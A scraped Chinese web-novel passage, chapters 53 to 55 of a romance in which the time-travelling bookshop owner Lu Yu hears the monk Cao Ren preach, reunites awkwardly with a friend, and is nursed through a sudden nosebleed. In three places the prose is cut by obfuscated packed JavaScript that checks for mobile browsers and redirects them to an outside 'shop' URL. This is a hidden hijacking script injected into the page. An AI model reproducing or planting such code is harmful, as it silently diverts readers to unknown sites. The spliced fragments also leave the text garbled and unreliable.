曹壬闻言,却似想起什么,脸又不期然的红了,红色甚至蔓延到了耳根。 陆萸见状,再也忍不住,迅速放下帘子,说了声“三伏我们走”,然后在车内没心没肺大笑起来。 她想,她刚才看着他笑时,肯定很像那些围着唐僧转悠的女妖们,他们除了想吃肉,还是想“吃肉”。 53. 第五十三章 赴约 曹壬就这样伫立在路旁,一直听着陆萸那欢快如银铃般的笑声随着马车的远去渐渐听不清了,他才转身就着月色顺着泥泞的山路赶回白马寺。 哪怕山路湿滑难行,他也仿若未觉,一心只想着与阿萸的这场相见。 他终于放下了所有的患得患失,心中不停被愉悦塞满,脚下的步伐愈发轻快起来。 不同于以往任何时候,这是他出生二十二年来,第一次体会到这种心情,心中就像开满了花,一朵连着一朵不断绽放,层层叠叠地绽放在山路两侧。 他忍不住嘴角的笑意,那笑也从双眸溢了出来,以至于守门僧给他开门时,看到他的笑突然受宠若惊。 至曹壬走远,守门僧还愣在原地,风华绝代的小师叔,竟然也会有如此接地气的笑容,这笑让一直如在云端的小师叔突然变得生动了。 陆萸终于明白了曹壬的心意,知道并非自己一厢情愿以后,一路上恍恍惚惚地回到了星火书店,还未吃到饴糖,却好像已经甜入心底,连夜里的梦都是甜的,第二天的早膳也是甜的。 一天的时间过的很快,转眼就到了十五这日。 陆萸已提前和长兄陆弘定好时间,换好男装后,她早早就和兄长一起骑马去白马寺了。 每逢十五,白马寺香客云集,这次因白马寺提前贴了讲经通知,山上更是牛车塞途。 曹壬连续几年佛诞日辩经皆无败绩,已盛名远扬,如今首次开坛讲经,慕名而来的人自是无计其数。 看着如此盛况,陆萸既佩服兄长有先见之明不乘马车改骑马,又感叹佛教在大魏的影响力。 待兄妹俩至清凉台毗卢阁的时候,时间尚早,听众席的位子却只有靠大殿入口的位置了。 毗卢阁是白马寺最后一座大殿,面阔五间,进深四间,殿顶为重檐歇山式,是历来高僧讲经的场所。 兄妹二人找位子坐好后,陆萸抬首看向讲经台,前方全是等待听讲的人,压根看不清台上的曹壬是何表情。 可待他正式开讲,当那清朗平和的嗓音传来时,她却能分辨出他的心境,一如既往的平静祥和,让她忍不住也跟着静下心来。 清凉台瞬间安静得一枚针掉落都能听见,上百佛门弟子和信众聚精会神的听曹壬讲经。 他们就像一尊尊泥塑,一动不动,那样地入神和专注,那样全神贯注地听着。 天下凡人皆有苦:生苦、老苦、病苦、死苦、爱别离苦、怨憎会苦、所求不得苦、五阴炽盛苦。凡人,无一能够逃脱此八苦。 阿弥陀佛!佛祖菩萨,普渡众生,能引苦难之众脱离茫茫苦海。 曹壬滔滔不绝地讲着经,他不是单纯的讲佛经的内容,除了佛教小故事,他还引经据典旁征博引,结合古往今来,用发生在这片土地上的故事来论证佛教观点。 他的故事大多是普通人的故事,既引人入胜,又能让听众跟着共情,陆萸不知不觉也听得入了迷。 清晨的太阳缓缓升起,晨曦的光自毗卢阁高高的窗棂斜晒进来,有一束光就那样刚巧投在曹壬身上。 光束中的他仿佛在闪闪发光,让陆萸瞬间觉得他越来越远,有如谪仙之人刚落入凡间,带着万丈光芒。 此刻的他,自信平和,吐出的一字一句皆充满智慧,让人可望不可即。 谁说相爱的人就非要在一起呢?陆萸突然想起前世《既见君子》中看过的一句话: 男女之间,最难的不是情爱的发生,而是将这烈火隐忍成清明的星光,照耀各自一生或繁华或寂寥的长夜。 她当初看到这句话时,既困惑相爱之人为何不能努力争取在一起?又感叹这世间真有人拥有如此强大的自制力和令人佩服的胸怀。 如今同样的感情被自己遇上,她才能真正体会这句话的真谛。 若让他放弃心中信念与理想,世人如何还有机会见到如此刻这般模样的他? 爱,不该是占有,应该还有成全,成全彼此成为更好的自己。 他身上的光,足够照亮她以后所有寂寥的长夜,也足以让她心甘情愿与之共赴一场星河。 两个时辰的课很快结束,散课后仍有人围着曹壬解惑,只因他讲的实在精彩,大家都不忍离去。 陆萸和兄长眼看如此,也不去凑热闹,起身刚出了大殿,有个小沙弥过来向他们双手合十行礼:“二位施主请留步,请问二位谁是陆小公子?” “我是”陆萸回。 小沙弥抬头确认后,将手中的纸袋递给陆萸,道:“这是小师叔让贫僧转交公子的。” 陆萸猜想这应该是饴糖,笑着接过:“替我和慧悟法师说声谢谢。” 小沙弥回礼,道:“小师叔让贫僧带二位去他的禅房,待这边答疑结束,他就过去寻二位。” 陆萸回头看一眼被人里三层外三层围着的曹壬笑道:“他今日估计一时半会结束不了,无需再分神照顾我们,来日他若得空,到书店寻我就是。” 小沙弥闻言,有些为难,犹豫道:“小师叔让我一定留下二位公子。” 陆萸拿起手上的纸袋子摇了摇,笑道:“你替我转告他,袋子里的东西我不会分享给任何人。” 小沙弥还是不肯走。 她接着道:“去吧,他听了我的话,自然就懂了!” 小沙弥扭头看了一眼曹壬,可看到更多的人围了上去,于是只能无奈双手合十,向陆萸和陆弘作别。 出了白马寺,陆弘笑问:“袋子里装的是什么?你又打了什么哑谜?” “饴糖,阿兄也想吃?”陆萸笑回。 陆弘闻言,摇头笑笑:“那东西既甜又粘牙,你留着慢慢吃吧。” “就是怕粘坏牙,我才说不与任何人分享”陆萸笑道。 这是他的饴糖,要粘也只能粘自己的牙,别人可万不能有这机会。 “歪理,真是跟个孩子似的”陆弘笑道。 陆萸可不爱听这话,曹壬的年龄已过加冠之年,她若幼稚,岂不是配不上他了? 她忙回道:“我快及笄了,不可再说我幼稚。” 想到兄长也已经加冠,她忙打趣道:“文茵阿姊可有回复阿兄,何时做我的嫂嫂?” 原本陆张两家商定等陆弘加冠后就完婚,可这批入太学的学生遇特殊情况,毕业时间延后了。 于是陆弘就主动写信给张文茵说明情况,并和她商量婚期,陆氏重诺,只要她愿意,他可以请假回去完婚。 主动权交给她,只要她定个日子就行,当初写信的时候不小心被陆萸撞见,向来稳重的陆弘第一次闹了个大红脸。 “这不是你小孩子该操心的”陆弘笑回。 看兄长一脸的笑,陆萸心想莫不是很快就能喝喜酒了? 她忙打马凑近陆弘,笑问:“今年底可以喝到喜酒吗?” 见妹妹实在好奇,陆弘无奈一叹:“张女郎想等我学业结束再定时间。” 张文茵过完年就满十九岁了,这个年龄在这个时代不成亲的女郎很少,陆萸没弄懂她为何不想成亲。 比起朱琳才十七岁就已经多次吵着要嫁给张郎君,她这个也太淡定吧?莫非是她性子冷清,和兄长一样,喜欢按部就班慢慢来? 思及此,陆萸笑道:“那就等阿兄被定品授职后,再来个双喜临门吧。” 闻言,陆弘笑道:“人小鬼大,这些事不用替我操心,你先操心自己的事吧。” 他是曹壬的好友,又岂会看不出好友的心思?好友曾经一心以为自己活不过二十,因此执意入了佛门。 可如今不同往日,人活下来了,再次与妹妹相逢,不知二人以后又该何去何从。 “我自己的事?我能有何事?”陆萸笑着反问。 “别和我扯开话题”陆弘道。 陆萸将手中的缰绳微微收紧以后,才两眼目视前方,淡然道:“阿兄今日见他讲经,有何感想?” 就因为陆弘今日听了好友开坛讲经的成功,才更担心妹妹,他笑回:“今日的君期,是我此生见过他最好的模样。” “我也一样,我已经不是个孩子,只会为他取得这样的成功而高兴,所以阿兄不用担心我。” “阿萸”陆弘见妹妹如此懂事,心中忍不住心疼起来,可再多的言语却不知如何说起。 好友和妹妹,从陆氏和南安王府世子定亲之日起便再无可能。 陆氏不会和南安王府定两次亲,更不会让陆氏女嫁给一个还俗的僧人,且这个僧人已经是名动大魏的白马寺住持亲传弟子。 “阿兄,只要他还活着,于我已是最大的安慰,我知足了”陆萸叹道。 陆弘闻之,再次一叹,她说得没错,好友还活着,活过了二十岁,这于关心好友的人来说,已是最好的结果了。 曹壬耐心解答完信众的所有提问时,已至下午,他急匆匆找到送饴糖的小沙弥,才知陆萸已经离开白马寺。 没能亲眼见她吃饴糖,他心里有些低落,可听过小沙弥替她转告的话,他的嘴角忍不住上扬,心里也好似吃了饴糖似的。 小沙弥不解的抓了抓头顶,道:“我没有办好师叔交代的事,还请师叔责罚。” 曹壬闻言,摇头笑道:“你办得很好,下次我再找你帮忙。” 得了师叔夸奖,小沙弥高高兴兴地双手合十作别离去。 这饴糖是曹壬一大早就去门口守着才买到的,也不知阿萸是否喜欢,他坐在禅房翻开了金刚经,却一个字都没能看进去。 陆萸回书店后,既要忙着写封神榜故事章节的初稿,还要忙启蒙小故事系列。 她今天听过曹壬讲经,脑海中瞬间多了很多编写小故事的灵感。 至黄昏,她才回到定北侯府,就听到从洛河游玩归来的陆妘和她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245294|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了见闻。 陆妘今日应颍川旧友相邀去游了洛河,顺便去华彩阁用了茶点,然后在那里遇到了杨氏姐妹。 杨蓁蓁见到陆妘,向她问起了陆萸的近况,说陆萸已经很久没回她的信了。 陆萸这才想起她为了忙洛阳开书店的事一直没给杨蓁蓁回信,刚开始她想着去了洛阳就能有时间约杨蓁蓁出来,哪里晓得沈玉迟到打乱了开书店后的计划。 又遇到杨琇莹和世子曹善游洛河,以及江夏星火书院的事,她急匆匆回了江夏,想约杨蓁蓁的事就被推后了。 思及此,她立马让定北侯府的婢女去杨府送了拜贴,择日不如撞日,她约杨蓁蓁明天早上去华彩阁。 翌日清晨,华彩阁贵宾室,杨蓁蓁看到多年未见的好友,立马起身迎了上去。 她忙牵过陆萸的手,激动道:“昨夜突然收到你的帖子,还以为是做梦呢,如今见到你,才落下心来。” 陆萸也很高兴能见到好友,笑道:“我对洛阳不熟,所以就约在了这里。” “这里新出了几款点心,很像当年你做给我吃的味道。” 杨蓁蓁说着,华彩阁的伙计已经开始上茶点了,因为杨蓁蓁比陆萸早到半刻钟,所以茶点都已经点好单。 陆萸看到自己从江夏带来的侍女正耐心的讲解单品,她也只当不认识,边品尝边安静的听着。 “如何?是不是很像?”杨蓁蓁期待的看着陆萸问。 “许是你记错了,这点心比我做的好吃太多了”陆萸笑回,然后又拿起一块梅花糕吃了起来。 其实她说的没错,这些点心都是秋娘的拿手活,方子是从旧方子改良而来,却远超原有口感。 杨蓁蓁之所以觉得像陆萸的手艺,无非是多年不尝南方点心而产生的错觉罢了。 “是吗?”杨蓁蓁有些疑惑的拿起点心品尝。 为防止她继续打探,陆萸主动问起杨琇莹和她的亲事。 杨蓁蓁用点心的动作顿了一下,然后才回:“家里如今不急着给我和阿姊定亲了。” 陆萸看出她回答问题时那一瞬间的犹豫和不自在,却只当没发现,笑道:“那可真是太好了,你也可以像我一样再玩几年了。” 不定亲,杨蓁蓁的母亲就不会以即将成亲的理由让她学这学那的了。 杨蓁蓁听了,却是犹豫了好一会,然后才苦涩一笑:“确实是好。” 她不好意思解释太多,虽然不定亲,母亲却想再次培养两个太子妃,每日的学习任务依然未减少。 可这是杨氏想偷偷给几位公子同时押宝,她无法诉诸于口,二人间顿时安静下来。 陆萸原以为,好友多年不见,如今再见,当有说不完的话题,可她发现是自己想错了。 虽然二人时常有信件往来,聊的却都是无关紧要的话题,且车马太慢,一年也没通几次信。 如今真坐到一块,无论是陆萸还是杨蓁蓁,因各自家庭原因,很多事无法敞开的聊,一时间便只能沉默以对。 在江东的时候,陆萸大部分时候都是安静听杨蓁蓁诉苦,如今杨蓁蓁很多事情都不愿深谈的样子,陆萸只得继续安静的吃茶点。 一场期待已久的相约在二人的失望中草草结束,陆萸在从华彩阁与杨蓁蓁作别后坐上马车向书店出发。 并不是杨蓁蓁变得陌生了,而是她长大了而已,长大后的她更加隐忍,已经不需要任何人给她开导了。 陆萸心底叹息,终究还是错过了来大魏后的第一个朋友。 看来,无论古今,随着各自成长,曾经无话不谈的朋友也会慢慢渐行渐远渐无书。 至星火书店时,店里伙计看到着女装的陆萸,一下子没反应过来。 掌柜的非常有眼力见,忙笑着上前:“女公子终于来了,慧悟法师已等候多时,如今正在后院等您。” 曹壬昨日未能在白马寺禅房好好接待陆萸兄妹,心中可惜,今日做完玩课后,就赶来书店了。 如今他正站在院中枣树下,看着店里的伙计采摘新鲜的红枣。 “君期”陆萸站在书店通往后院的回廊下,欢快的喊了一声。 曹壬抬首看去,只见明艳动人的少女双眸亮如星辰,她身上的纱裙似如火的骄阳,充满生命力。 如今这颗骄阳向自己走来,仿佛能将所到之处的寒冷都驱散殆尽,正一点一点驱散他内心深处所有的阴冷和昏暗。 “阿萸”他低喃一声她的名字,口中的眷恋不舍,声音低沉缱绻。 他第一次知道,着红色纱裙的青团小友,竟然可以美得如此动人心魄,摄人心魂。 摘红枣的伙计不小心摇晃了一下树枝,熟透了的大枣争先恐后从树上掉落,噼里啪啦砸在了曹壬的头上。 可他却觉得已经随着陆萸越走越近,颗颗红枣都砸进了自己心底,心口瞬间甜如蜜枣。 54. 第五十四章 不舍 陆萸以往在洛阳时,除了和沈氏兄妹游洛河那次,为方便做事都是着男装,今日也是为了和杨蓁蓁相见,才特意换回女装。 今日这套是前阵去江夏的时候大伯母姚氏为她新裁的,内里打底的是白色交领襦,外着红色未央锦绣金色茱萸纹的交领襦,另加一层薄雾白纱交领襦,下裙是菱纹红白间色十六片破裙。 整套衣裙的色调红艳却不张扬,金色茱萸绣和红色未央锦在陆萸行走时与下裙的红白间色互相呼应,每走一步就像有一朵花在绽放。 曹壬就这样站在大枣树下看呆了,直至陆萸走至跟前唤了他几次,他才回过神。 陆萸笑着打趣:“君期是傻子吗?枣子砸头上都没发现。” 曹壬猛的红了脸,伸手不甚在意的揉了揉头顶,才傻傻地笑回:“今日的阿萸格外好看。” 这回轮到陆萸闹了个大红脸,她从未在他面前如此盛装,也从未听他夸过自己好看,心里好似突然有一只小鹿跑了起来。 为掩饰,她撇撇嘴佯装生气道:“你的意思是说我以往不好看?” 言毕,不等曹壬回过神来,扭头小跑着上了居住的小楼。 曹壬哪里知道她的小心思,只当她真生气了,忙追了上去。 “噔噔噔噔”听到曹壬上楼梯时那焦急的脚步声,陆萸忍不住趴在书案上笑出声来。 曹壬进屋见到陆萸笑得眼泪都快飞出来了,才松了口气,在她面前坐下,笑道:“阿萸不生气便好。” 陆萸用手帕擦擦眼角的泪,笑问:“我若真生气了,你当如何?” “自是向你道歉,直至你消气”曹壬认真道。 陆萸见他如此,忍不住又笑了起来,他如此认真作答的样子与当年上巳节初见时一样,一本正经,像个小老头。 “罢了,我向来大方,今日便不与你计较,只是你往后可不许夸别人好看”陆萸道。 曹壬听了,愣了一瞬,立马笑道:“都听你的。” 见他像个呆头鹅一样保证着,陆萸又忍不住笑出声来。 见她笑的开心,曹壬也跟着笑了起来,然后问:“你吃过饴糖了吗?味道如何?” “味道极好,我还留着一半打算慢慢吃”陆萸答。 “你喜欢就好,待下月初一,我再给你买。” 但愿下月初一,她还在洛阳,曹壬这般想着,便说了这话。 想到此次来书店的主要目的,他接着道:“我此番有一事想向阿萸坦白,只盼着你听了以后莫要恼我。” 陆萸闻之,收起脸上的笑,端正身子,问:“是何事,你先说来听听。” 曹壬忙从随身携带的竹筒中取出四卷画,然后依次打开给陆萸看。 陆萸看过,疑惑的问:“这些都是你画的?虽然我不懂作画,但这画真是画的太好了,君期,我竟然不知你会作画!” 她的眼中全是赞赏和惊叹。 “这是我画的,也是一杆翁的画”曹壬看着陆萸答。 闻言,陆萸先是怔了一瞬,然后猛的伸出手拉过他的衣袖,激动道:“所以,你就是一杆翁?” 曹壬点点头。 得到确认,陆萸兴奋得像个小孩,忙再次去看案上的画,爱不释手地拿起这幅看了看,又放下拿起另外一幅,她正愁找不到一杆翁的画做书店的镇店之宝,如今真是瞌睡遇上枕头。 “你,不生我的气吗?”曹壬小心的问。 “生气,我为何生气?”陆萸忙着埋头看画。 她怎么会生气,有这几幅画,她已经能预见银子在向自己招手了。 “气我骗了你”曹壬低下头答。 听出他的语气不对,陆萸这才抬头看着他,认真道:“你那时候身体不好,作画劳神费力,不告诉我真相才是对的,万一我忍不住又让你作画,那我才是要后悔一辈子。” 她一开始不知他身体那么差,难保不会因为财迷而怂恿他作画,她见过长兄作画,既费时间又费体力,这般想着,她止不住后怕。 她忙凑近曹壬,关切道:“这些画,不是在你生病时候画的吧?” 想不到她不但没生气,还如此关心自己,曹壬只觉得心里暖暖的,不自觉间,说话的语气也异常温柔:“这些皆是我皈依之后所画,每当想起你,我就画一幅。” 剃度后,他一直虔诚参佛苦读经书,但每当月光洒入禅房之时,他就会想起她,因此不知不觉间画了很多画。 可惜,因怕被师傅发现,最后只有这四幅被他留了下来,他那时不知为何想作画,后来才知,原来思念一个人,也会想要作画。 四幅画,虽没有落款时间,陆萸却能从画中的内容分辨先后顺序。 他最早画的应该是海棠树下踢毽子的女孩,第二幅是一群人放纸鹞的场景,第三幅是月光下江水汤汤山色苍苍,最后一幅是夕阳下的群山。 当陆萸把心中猜想告诉曹壬时,他叹道:“你能懂,便知足了。” 他指着最后一副画,道:“这是站在白马寺藏经阁楼上所看到的黄昏。” 那时候的他已经三年未见陆萸,心里只觉空旷无比,满眼山河却始终填不满心底不知何由的空无和感伤。 四副画都未落下一杆翁的印鉴,陆萸抽出海棠树下的女孩,然后道:“这幅我留着,其他三幅我挂在书店可以吗?” 问完,她卷画的手微微一顿,惭愧道:“你一腔热忱,我却只想着用画换钱,当真俗气。” 曹壬闻之,从袖袋里拿出一杆翁的印鉴,递给她道:“送画与你,只为让你开心,所以你想如何处置都行,阿萸,若你喜欢,我日后可以继续为你作画,无论多少幅都可以。” 陆萸知道这是他的承诺,简单的一句话加一个举动,却胜过世间所有美好的情话,她颤抖着手接过他手中的印鉴。 手指触碰到他掌心的温度时,她差点就握了上去,却硬生生忍住了。 眼眶微红,她笑着对他道:“今日给了我,日后可不许反悔。” “自是不会反悔”曹壬笑回。 因画还未装裱,陆萸便让三伏将四幅画都交给伙计去装裱,打算装裱好后再用印。 三伏将新摘的枣子洗净装盘后摆在书案上,然后抱着画卷出去了。 陆萸今日和杨蓁蓁见面后感触很多,心情很是低落,如今有曹壬送的画,心情又变好了,也开始有心情继续编启蒙小故事了。 曹壬如上次一般,继续帮陆萸写书签,星火书店的书签一直都是书店的招牌,凡在店内购买价值一两银子的商品,即可免费抽取一根书签。 有人想花钱直接买书签,店里的伙计坚决不同意,反而让书签越来越受欢迎,连带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462714|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书店的名气也大了起来。 房内的二人各自低头忙着奋笔疾书,不知不觉就到了午后,窗棂上的斜阳照在二人身上,将二人都镀上了一层金色,投在地上的影子朦朦胧胧,美好而静谧。 陆萸编写完五个启蒙故事后,坐在地上满意的伸了个大大的懒腰,抬头看见曹壬前面的竹筒都已装满书签。 她惊讶道:“君期简直神速,我才写了几个故事,你就已经写了这许多了?” 曹壬笑笑,将刚写好的书签再次放进竹筒,道:“我别无所长,也就写字手速快罢了。” 陆萸好奇他写的书签,顾不得小腿发麻,忙起身想要去取书签。 谁知起身的动作太猛,一瞬间,她只觉一阵头晕眼前一黑,人也跟着重重向后摔了下去。 曹壬见状大惊失色,也忙不得起身,而是跪在地上快速滑过去,迅速倾身伸出双手手才将快碰到地面的陆萸稳稳接住。 躺在有力的臂弯中,陆萸觉得头依然晕得厉害,突然感觉到一股微热自鼻孔中流了出来,她伸手抹了一把,举起手掌费力睁开眼一看,发现掌心竟然全是血。 “君期,我这是怎么了”她惊恐的问。 三伏听到屋内的动静也立马进来查看,见曹壬正用手帕替陆萸擦着血,一时吓得不知该怎样进行下一步。 曹壬此时心中既担忧又焦急,却仍稳住心绪,道:“阿萸别怕,我先抱你去床上休息,再让医官来诊断。” 然后扭头看着三伏:“你让伙计速速寻医官,然后打一盆水上来,要从井里打凉水。” 言毕,他用力将陆萸稳稳的抱了起来,想不到她竟然这般轻,他的心中愈发为她心疼起来。 陆萸却是想起了前世,前世同病房的一名患者经常流鼻血,想起那样恐怖的过往,她忍不住颤抖起来,难道类似的绝症让这一世的自己遇上了吗? “君期,我怕”她因为太过恐惧,已经忘了克制,伸手用力抓紧了他胸前的衣襟。 曹壬见如此脆弱的她,心中疼痛,温声安慰:“阿萸莫怕,我陪着你。” 说着,更加用力的抱紧了她,走至床边,才将她轻轻放下。 陆萸真是越想越怕,甚至在脑海中想好了一堆遗言,这一世她过得还算顺遂,原本也没有什么可遗憾的。 可她还是有诸多不舍,不舍自己一手创办的事业,更不舍家人和眼前的少年,这么想着,眼泪也不知不觉落了下来。 曹壬原本替她擦着鼻中不断涌出的血,如今又手忙脚乱的用袖子给她擦脸上的泪水:“阿萸莫怕,血一会就能止住了。” 陆萸却沉浸在自己的恐惧中,伸手紧紧握住曹壬的手道:“不擦了,陪我好好说话可好?我这次离世,不知道又会被送去什么世界。可是,若那里没有你,我该如何是好?” 她说着话,眼泪再次滚落,她才刚刚知道他的心意,真不想去没有他的世界。 曹壬很多年以前便猜到她来自另外的世界,虽然匪夷所思,却一直都知道她不属于这里。 如今听她亲口说出来,虽然不愿意相信她是得了什么不治之症,却仍害怕她突然消失不见。 他再次替她擦了眼泪后,用力的回握住她的手,感受到她的温度,才颤抖着唇安慰:“阿萸莫怕,无论你去了何处,去了多远的地方,我都会去找你的。” 55. 第五十五章 怀抱 “阿萸莫怕,无论你去哪里,去多远的地方,我都会去找你的”曹壬握紧陆萸的手郑重的承诺着。 这是陆萸从他口中听到最美的情话,虽然知道他不可能找到自己,却依然安抚住了她惶惶不安的心。 她红着眼眶看着他:“君期,我是死过一次的人,原本不该害怕的,可有了挂念之人,我如此恐惧分离。” 她好想在临死前抱抱他,最后再贪恋一次他怀抱的温暖,奈何头晕得厉害,导致眼前也一阵阵发黑、犯迷糊。 “阿萸莫怕,你不会有事的”曹壬继续为她擦着血。 三伏很快从深井中打了凉水上楼,问:“奴婢该做什么?” 曹壬忙将陆萸扶起坐好后,道:“你再去打盆凉水,这里有我就行。” 三伏不知曹壬要做什么,但她确实不懂医术,也只能听他的安排,再次转身下楼了。 陆萸晕乎乎地靠在曹壬胸前,只听曹壬说了句:“阿萸,我现在要给你止血,若有何不适,你告诉我就行。” 陆萸点点头。 曹壬又说了句:“得罪了” 不待陆萸思考何意,她的外衫被曹壬轻轻退下。 紧接着,曹壬一只手从她胸前揽过,让她的上半身借助手臂力量头朝下趴着,另一只手把浸在凉水中帕子取出,也不管上面的凉水,直接将帕子覆盖在颈部。 一阵清凉传来,陆萸稍微清醒过来,头也好似没有那么晕了。 曹壬迅速用盆中的手帕替换了颈部的手帕,然后再用带水的手帕替她清洗额头和脸上的血,道:“阿萸再忍耐片刻,血很快就能止住了。” 陆萸此时脸朝下趴着,虽然看不到他脸上的表情,但随着脸上黏糊糊的血被洗净,看着盆中的清水染了血色,头脑也慢慢恢复了清醒。 三伏很快又打来了一盆凉水,曹壬将帕子扔进清水中迅速替换了颈部的手帕。 “女公子有没有觉得舒缓一些?”三伏蹲下身看着陆萸问。 “我无碍”陆萸艰难的挤出一个笑安慰道,她如今的姿势很是狼狈。 三伏松了一口气,起身端起第一盆水,然后下楼打凉水去了。 曹壬手上的动作一直未停,口中安慰道:“若有冰水,止血便能更快一些,不过如今用凉水也可以。” “君期何时学的医术?”陆萸已经没有那么恐惧。 “那年刚至洛阳,我也得了鼽衄之症,江澈亦是用此法替我止血,医官言,洛阳秋季干燥,而我至湿润的江东而来,是为水土不服所致”曹壬边替换手帕,边细细解释。 “鼽衄之症可大可小,如今我只能替你止血,待医官看过,才能对症下药。” 当年曹壬放弃吃药后,一路上咳嗽不止甚至偶有咳血,身体本就虚弱不堪,又遇上水土不服,仅留一次鼻血,就让他在病床上躺了许久。 如今回想起来,太学那方小院真是清冷的紧。 他没有细说当年的病情,陆萸却能猜到那年在干燥寒冷的洛阳,他是如何痛苦的煎熬着。 “君期,你若再生病,不许瞒着我”陆萸忍不住落泪道。 “好,我不会再瞒着阿萸了”曹壬答。 他不会再做那样傻的选择,不会再傻傻地蹉跎那所剩不多的相处时光,如今他心中有了挂念之人,也开始恐惧分离。 在曹壬反复用凉水降温后,陆萸鼻腔的血终于止住。 但担心病情反复,曹壬没有让陆萸马上坐直身子,而是揽着她为她披上了外衫。 曹壬:“衣服湿了容易着凉,暂且用外衫抵挡一下,待医官看过后再换一套。” 陆萸闻言,突然坐直身子扑进他怀中,红着耳朵低声道:“这样就不冷了。” 温香软玉入怀,曹壬无措地举着双手,愣了一瞬,才将手小心放在她后背上,慢慢收紧。 他喃喃道:“我是怕你鼻中再次出血。” 他的怀抱和想象中一样温暖,陆萸摇摇头,更紧的抱住他:“有君期在,我什么都不怕。” 感受着怀中的柔软,闻着自她身上传来的阵阵馨香,曹壬只觉得心口好似有什么东西快要满出来了。 此刻听了她的话,那溢满心田的东西终于喷薄而出飞向空中,瞬间开出了绚烂的花,揽住她的手不知不觉加大了力度。 若陆萸知道他此刻所想,肯定会告诉他,那是漫天飞舞的烟花,因为此刻她的心中亦如此。 心中不停绽放的烟花,那些五彩斑斓的颜色驱散了她内心深处因想起前世记忆而带来到的阴霾和恐惧。 二人就这么静静的相拥在一起,耳中传来的心跳声早已分不清是谁的,只觉得刚刚被凉水降下的温度好似又升起来了。 陆萸心想,再抱一会就好,就一会,她不贪心,只求这片刻温暖。 门外传来三伏和陆妘的说话声,陆萸不舍的退出了曹壬的怀抱。 “阿萸”曹壬低呐一声,松开手时眼中亦有不舍,却只是伸手替她将额前打湿的碎发拢回耳后,然后起身站至床前。 因九堂婶诸葛氏有孕,定北侯府一直有医官待命,所以伙计得了三伏的令后立马就去把定北侯府的医官请来了,一同来的还有陆妘。 陆妘顾不得礼仪,甫一进屋就直奔陆萸床前,关切道:“昨夜还好好的,怎么就晕倒了?可是吃了什么不该吃的?” 待在床前坐好,发现陆萸一身狼狈,又惊道:“不是晕倒吗?怎么弄得跟落了水似的?” 曹壬忙解释:“这是贫僧用凉水给阿萸止血所致,女公子无需担忧。” 陆妘这才看到站在一旁的曹壬,不悦道:“你又不是医者,如何能擅作主张?若影响了治疗,你担得起责任吗?” “我”曹壬刚想回答,医官便道:“有鼽衄之症,用冷凉之物降温止血是可行的,不会影响治疗。” 陆萸也立马笑道:“堂姊不用担心,我的血止住了。” 陆妘不是有意针对曹壬,只是想起陆萸当初戴了他送的佛珠手串后差点病死,而这事大家还得瞒着他,她心里便有气。 在她看来,曹壬傻拉吧唧地被人坑了那么多年都没有发现,保不准陆萸这次又是因为他受了无妄之灾。 医官很快给陆萸把了脉,神色却很是凝重,他道:“女公子不是简单的水土不服引起鼽衄之症,而是气血两亏、阴虚内燥所致,若不及时调理,这症状还会反复。” 气血两亏、阴虚内燥?竟然如此严重!在场的人听了也是大吃一惊。 陆妘忙问:“可知是何原因引起的?” 她第一个念头就是:该不会又中毒了吧? “想来是女公子近日吃了燥热之物,且长时间思虑过重、疲累加身,加之近日洛阳干燥所致”医官道。 一句话,陆萸是吃没吃好,睡也没睡好,加上劳累过度导致今天的症状。 “女公子当适当放宽心,切勿再劳心劳神,亦切勿熬夜”医官又道。 他从医这么多年,也是第一次遇到这个年龄的女娃得这种病症的,她既不当家主持中馈伺候老人,又不为抚养孩子伤神,怎的就累出一身病了?真是难以理解。 曹壬才听过医官的诊断,人便呆住了,这样年轻的她竟然已经积劳成疾了吗? 这些年她是如何过来的?明明她向他诉说分别后的三年时光时,说得那般轻松愉快,且那时,她满眼都是因事业所成而喜悦满足,怎么还会病的如此之重? 他忍不住沉痛出声:“请问,吃饴糖可会加重病情?” 医官:“女公子如今阴虚内燥,还是少食为好。” 陆萸忙问:“那需要用药吗?”她最怕的还是吃药。 “自是要用药调理的,然,是药三分毒,所以主要还得靠食疗加女公子自己放松心情才行。” “那便先开药方吧”陆妘道。 然后不悦地看着曹壬:“每次阿萸生病皆是因为你,你为何要买那么多饴糖?” 每次?曹壬不解地看向陆萸,莫非阿萸此前也曾因自己生过病? 怕被发现端倪,陆萸忙笑着解释:“堂姊心急说错话了,饴糖是我想吃,不能怪君期。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看到陆妘正黑着脸,匪夷所思的看着自己,他的脸一瞬间红了,急忙解释:“贫僧,贫僧只是提醒一下,并无它意。” 陆萸忍不住笑出声,道:“堂姊莫要吓到君期了” 又抬头看着曹壬道:“今日就此别过,你明日得空再来,想来那些画明日就该装裱好了。” “你好好休养,我明日再来”曹壬说着,在陆妘不善的眼神下手忙脚乱的出了房间。 见向来沉稳淡定的曹壬出去时面红耳赤,走路都快分不清方向,陆萸愈发忍不住笑出声来:“还是堂姊厉害,能将冷情冷性的佛子吓成这般模样。” “既然知道他冷情冷性,怎的还不知悔悟?”陆妘一副恨铁不成钢的模样骂道。 